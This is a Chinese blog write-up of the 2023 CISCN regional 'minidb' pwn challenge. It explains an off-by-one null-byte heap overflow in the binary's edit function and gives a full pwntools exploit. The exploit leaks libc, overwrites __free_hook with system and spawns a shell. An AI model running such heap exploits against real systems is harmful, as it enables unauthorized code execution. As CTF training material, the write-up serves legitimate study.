2023 ciscn 华东北分区赛 pwn minidb

文章描述了一个Pwn类竞赛中的问题,涉及到本地和远程数据结构,特别是当type为1和2时存在255字节内的越界写入漏洞。提供了一个exploit示例,展示了如何利用这个漏洞进行任意地址的读写操作,最终目标可能是利用内存管理漏洞来控制程序行为,例如修改内存中的函数指针。
摘要由CSDN通过智能技术生成

2023 ciscn 华东北分区赛 pwn minidb

没去打比赛,做了一下,本地通了,不知道远程可不可以
结构体

00000000 Data struc ; (sizeof=0x40, mappedto_8)
00000000 type dd ?
00000004 flag dd ?
00000008 database_name dq ?
00000010 pair dq 6 dup(?)                        ; offset
00000040 Data ends
00000040
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 column struc ; (sizeof=0x18, mappedto_9)
00000000 ppp dq ?
00000008 key dq ?
00000010 value dq ?
00000018 column ends
00000018

当type为1和2时,可以255个字节内的oob write \x00

unsigned __int64 __fastcall db_edit(Data *a1)
{
  int len; // [rsp+1Ch] [rbp-224h]
  __int64 v3; // [rsp+20h] [rbp-220h] BYREF
  column *ptr; // [rsp+28h] [rbp-218h]
  char value[520]; // [rsp+30h] [rbp-210h] BYREF
  unsigned __int64 v6; // [rsp+238h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  if ( a1 )
  {
    printf("Input the key: ");
    __isoc99_scanf("%ld", &v3);
    ptr = (column *)sub_168D((__int64)a1, v3, 0LL);
    if ( ptr )
    {
      printf("Input the new value: ");
      __isoc99_scanf("%255s", value);
      len = strlen(value);
      *((_BYTE *)&ptr->value + len) = 0;        // strlen <=255 && oob write \x00 
      if ( (a1->type == 1 || a1->type == 2) && len > 0x7F || (a1->type == 3 || a1->type == 4) && len > 0xFF )
      {
        puts("\x1B[31m\x1B[1m[x] The length of new value is TOOOOOO LOOOOONG!\x1B[0m");
      }
      else
      {
        memcpy(&ptr->value, value, len);
        *((_BYTE *)&ptr->value + len) = 0;
        puts("[+] Succesfully update the value of specific key!");
      }
    }
    else
    {
      puts("\x1B[31m\x1B[1m[x] Key NOT FOUND!\x1B[0m");
    }
  }
  else
  {
    puts("\x1B[31m\x1B[1m[x] Runtime error! No database provided!\x1B[0m");
  }
  return __readfsqword(0x28u) ^ v6;
}

伪造对应的chunk即可实现任意地址读写

exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './minidb'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

menu = 'Your choice: '

def add_database(name, tp):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Please input the name of database: ', name)
    r.sendlineafter('Please input the type of database: ', str(tp))

def use(name):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Please input the name of database: ', name)

def add(key, value):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Input the key: ', str(key))
    r.sendafter('Input the value: ', value)

def show(key):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Input the key: ', str(key))

def edit(key, value):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Input the key: ', str(key))
    r.sendafter('Input the new value: ', value)

def delete(key):
    r.sendlineafter(menu, '4')
    r.sendlineafter('Input the key: ', str(key))

def out():
    r.sendlineafter(menu, '666')

def delete_database(name):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Please input the name of database: ', name)

def change(name, new_name):
    r.sendlineafter(menu, '5')
    r.sendlineafter('Please input the name of database: ', name)
    r.sendlineafter('Please input the new name for database: ', new_name)

dbgg()

p1 = 'a' * 0xf7
#r.sendlineafter(menu, '1')
#r.sendafter('Please input the name of database: ', p1)
add_database(p1, 1)
use(p1)

add(0, 'a' * 0x77 + '\n')
add(1, 'a' * 0x77 + '\n')
#delete(0)
#edit(0, 'a' * 0x98 + '\n')
out()
p2 = 'a' * 0x60
add_database(p2, 1)
use(p2)
add(0, 'a' * 8 + '\n')
add(1, 'a' * 8 + '\n')
edit(1, 'a' * 0x58 + '\x31' + '\n')
for i in range(8):
    edit(1, 'a' * (0x57 - i) + '\x00' + '\n')
edit(1, 'a' * 0x50 + '\xa1' + '\n')
out()
use(p1)
edit(1, 'a' * 0xa8 + '\n')
out()
use(p2)
for i in range(7):
    add(i + 2, 'a\n')
p3 = b'a' * 0x68 + p64(0x1) + b'\n'
edit(0, p3)

for i in range(8):
    p3 = b'a' * (0x67 - i) + b'\x00' + b'\n'
    edit(0, p3)

for i in range(8):
    p3 = b'a' * (0x60 - i) + b'\x00' + b'\n'
    edit(0, p3)

p3 = b'a' * 0x58 + p64(0xa1) + b'\n'
edit(0, p3)

for i in range(7):
    delete(i + 2)
edit(1, 'a' * 0x8 + '\x71\n')
delete(1)
out()

add_database('b\n', 1)
r.sendlineafter(menu, '5')
r.sendafter('Please input the name of database: ', 'b\n')
r.sendlineafter('Please input the new name for database: ', 'b' * 0x20)
use(p2)
delete(0)
out()
add_database('c' * 0x60, 1)
add_database('d' * 0x60, 1)

r.sendlineafter(menu, '4')
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))
one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = one[1] + libc_base
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()

delete_database('c' * 0x60)
delete_database('d' * 0x60)
add_database('e' * 0x20, 1)
add_database('d' * 0x20, 1)
#delete_database('e' * 0x20)
delete_database('d' * 0x20)
delete_database('e' * 0x20)
#add_database('d' * 0x20, 1)
#change('\x00', 'a')
r.sendlineafter(menu, '4')
r.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
r.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
r.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
r.recvuntil('\n')
r.recvuntil('\x09')
database_name = u64(r.recv(6).ljust(8, b'\x00'))
li('database_name = ' + hex(database_name))
change(p64(database_name), p64(free_hook - 0x20))
add_database('a' * 0x20, '1')
add_database(b'a' * 0x20 + p64(system_addr), '1')
#add_database(p64(one_gadget), '1')
change(p2, '/bin/sh')
delete_database('/bin/sh')

r.interactive()

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z1r0.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值